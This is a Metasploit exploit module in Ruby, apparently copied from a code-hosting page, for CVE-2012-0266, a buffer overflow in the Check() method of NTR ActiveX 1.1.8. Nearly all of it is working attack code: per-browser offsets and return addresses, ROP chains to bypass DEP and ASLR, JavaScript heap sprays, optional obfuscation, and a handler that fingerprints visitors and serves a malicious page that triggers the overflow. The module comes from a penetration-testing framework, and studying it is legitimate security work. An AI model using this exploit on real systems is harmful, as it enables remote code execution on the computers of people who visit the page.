360 lines
10 KiB
Ruby
360 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
#include Msf::Exploit::Remote::BrowserAutopwn
|
|
#
|
|
#autopwn_info({
|
|
# :ua_name => HttpClients::IE,
|
|
# :ua_minver => "6.0",
|
|
# :ua_maxver => "9.0",
|
|
# :javascript => true,
|
|
# :os_name => OperatingSystems::WINDOWS,
|
|
# :classid => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
|
|
# :method => "Check",
|
|
# :rank => NormalRanking
|
|
#})
|
|
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'NTR ActiveX Control Check() Method Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in NTR ActiveX 1.1.8. The
|
|
vulnerability exists in the Check() method, due to the insecure usage of strcat to
|
|
build a URL using the bstrParams parameter contents (note: this is also the reason
|
|
why the module won't allow you to modify the URIPATH), which leads to code execution
|
|
under the context of the user visiting a malicious web page. In order to bypass
|
|
DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Carsten Eiram', # Vuln discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-0266' ],
|
|
[ 'OSVDB', '78252' ],
|
|
[ 'BID', '51374' ],
|
|
[ 'URL', 'http://secunia.com/secunia_research/2012-1/' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 956,
|
|
'DisableNops' => true,
|
|
'BadChars' => "",
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# NTR ActiveX 1.1.8.0
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 6 on Windows XP SP3',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x5f4',
|
|
'Random' => false,
|
|
'Ret' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[ 'IE 7 on Windows XP SP3',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x5f4',
|
|
'Random' => false,
|
|
'Ret' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[ 'IE 8 on Windows XP SP3',
|
|
{
|
|
'Rop' => :msvcrt,
|
|
'Offset' => '0x5f4',
|
|
'Random' => false,
|
|
'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt
|
|
}
|
|
],
|
|
[ 'IE 7 on Windows Vista',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x5f4',
|
|
'Random' => false,
|
|
'Ret' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[ 'IE 8 on Windows Vista',
|
|
{
|
|
'Rop' => :jre,
|
|
'Offset' => '0x5f4',
|
|
'Random' => false,
|
|
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
|
|
}
|
|
],
|
|
[ 'IE 8 on Windows 7',
|
|
{
|
|
'Rop' => :jre,
|
|
'Offset' => '0x5f4',
|
|
'Random' => false,
|
|
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
|
|
}
|
|
],
|
|
[ 'IE 9 on Windows 7',
|
|
{
|
|
'Rop' => :jre,
|
|
'Offset' => '0x5fe',
|
|
'Random' => true,
|
|
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jan 11 2012',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
|
], self.class
|
|
)
|
|
|
|
deregister_options('URIPATH')
|
|
|
|
end
|
|
|
|
#
|
|
# Returns a random URI path which allows to reach the vulnerable code
|
|
#
|
|
def resource_uri
|
|
path = random_uri
|
|
path << random_uri
|
|
return path
|
|
end
|
|
|
|
|
|
#
|
|
# Generates a random URI for use with making finger printing more
|
|
# challenging.
|
|
#
|
|
def random_uri
|
|
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
|
|
end
|
|
|
|
# Spray published by corelanc0d3r
|
|
# Exploit writing tutorial part 11 : Heap Spraying Demystified
|
|
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
|
def get_random_spray(t, js_code, js_nops)
|
|
|
|
spray = <<-JS
|
|
|
|
function randomblock(blocksize)
|
|
{
|
|
var theblock = "";
|
|
for (var i = 0; i < blocksize; i++)
|
|
{
|
|
theblock += Math.floor(Math.random()*90)+10;
|
|
}
|
|
return theblock;
|
|
}
|
|
|
|
function tounescape(block)
|
|
{
|
|
var blocklen = block.length;
|
|
var unescapestr = "";
|
|
for (var i = 0; i < blocklen-1; i=i+4)
|
|
{
|
|
unescapestr += "%u" + block.substring(i,i+4);
|
|
}
|
|
return unescapestr;
|
|
}
|
|
|
|
var heap_obj = new heapLib.ie(0x10000);
|
|
|
|
var code = unescape("#{js_code}");
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
|
|
var offset_length = #{t['Offset']};
|
|
|
|
for (var i=0; i < 0x1000; i++) {
|
|
var padding = unescape(tounescape(randomblock(0x1000)));
|
|
while (padding.length < 0x1000) padding+= padding;
|
|
var junk_offset = padding.substring(0, offset_length);
|
|
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
|
|
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
|
|
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
|
|
heap_obj.alloc(sprayblock);
|
|
}
|
|
|
|
JS
|
|
|
|
return spray
|
|
end
|
|
|
|
def get_spray(t, js_code, js_nops)
|
|
|
|
spray = <<-JS
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
var code = unescape("#{js_code}");
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
|
|
var offset = nops.substring(0, #{t['Offset']});
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
|
|
|
heap_obj.gc();
|
|
for (var z=1; z < 449; z++) {
|
|
heap_obj.alloc(block);
|
|
}
|
|
|
|
JS
|
|
|
|
return spray
|
|
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
|
return targets[1] #IE 6 on Windows XP SP3
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
|
return targets[2] #IE 7 on Windows XP SP3
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
|
return targets[3] #IE 7 on Windows XP SP3
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
|
return targets[4] #IE 7 on Windows Vista SP2
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
|
|
return targets[5] #IE 7 on Windows Vista SP2
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
|
|
return targets[6] #IE 7 on Windows 7 SP1
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
|
|
return targets[7] #IE 7 on Windows 7 SP1
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def get_payload(t, cli)
|
|
code = payload.encoded
|
|
|
|
# No rop. Just return the payload.
|
|
return code if t['Rop'].nil?
|
|
|
|
# Both ROP chains generated by mona.py - See corelan.be
|
|
case t['Rop']
|
|
when :msvcrt
|
|
print_status("Using msvcrt ROP")
|
|
rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})
|
|
|
|
else
|
|
print_status("Using JRE ROP")
|
|
rop_payload = generate_rop_payload('java', code)
|
|
end
|
|
|
|
return rop_payload
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
print_status("User-agent: #{agent}")
|
|
|
|
my_target = get_target(agent)
|
|
|
|
# Avoid the attack if the victim doesn't have a setup we're targeting
|
|
if my_target.nil?
|
|
print_error("Browser not supported: #{agent}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
p = get_payload(my_target, cli)
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
|
|
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
|
|
|
|
if my_target['Random']
|
|
js = get_random_spray(my_target, js_code, js_random_nops)
|
|
else
|
|
js = get_spray(my_target, js_code, js_nops)
|
|
end
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
|
|
|
if datastore['OBFUSCATE']
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
js.obfuscate
|
|
end
|
|
|
|
# The overflow occurs after strcat'ing controlled data to
|
|
# a url with the next format:
|
|
# http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&d=[USER DATA]
|
|
#
|
|
# The URI length can be calculated on the fly since the value
|
|
# for the "a" param is being always 0 on my tests, even when
|
|
# should be the result of GetTickCount
|
|
my_uri = get_uri(cli)
|
|
pos = my_uri.rindex("/")
|
|
my_uri = my_uri[0, pos]
|
|
my_uri << "/mod/mod.asp?a=0&d="
|
|
|
|
my_badchars = "\x00\x0a\x0d\x22\x2c"
|
|
|
|
if my_target['Rop'].nil?
|
|
bof = rand_text_alpha(1056 - my_uri.length, my_badchars)
|
|
bof << [my_target.ret].pack("V")
|
|
else
|
|
bof = rand_text_alpha(1024 - my_uri.length, my_badchars)
|
|
bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot
|
|
bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars)
|
|
bof << [my_target.ret].pack("V") # stackpivot
|
|
end
|
|
|
|
sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}"
|
|
|
|
html = <<-MYHTML
|
|
<html>
|
|
<head>
|
|
<script>
|
|
#{js}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
|
|
<script>
|
|
test.Check("#{sploit}");
|
|
</script>
|
|
</body>
|
|
</html>
|
|
MYHTML
|
|
|
|
html = html.gsub(/^\t\t/, '')
|
|
|
|
print_status("Sending html")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
end
|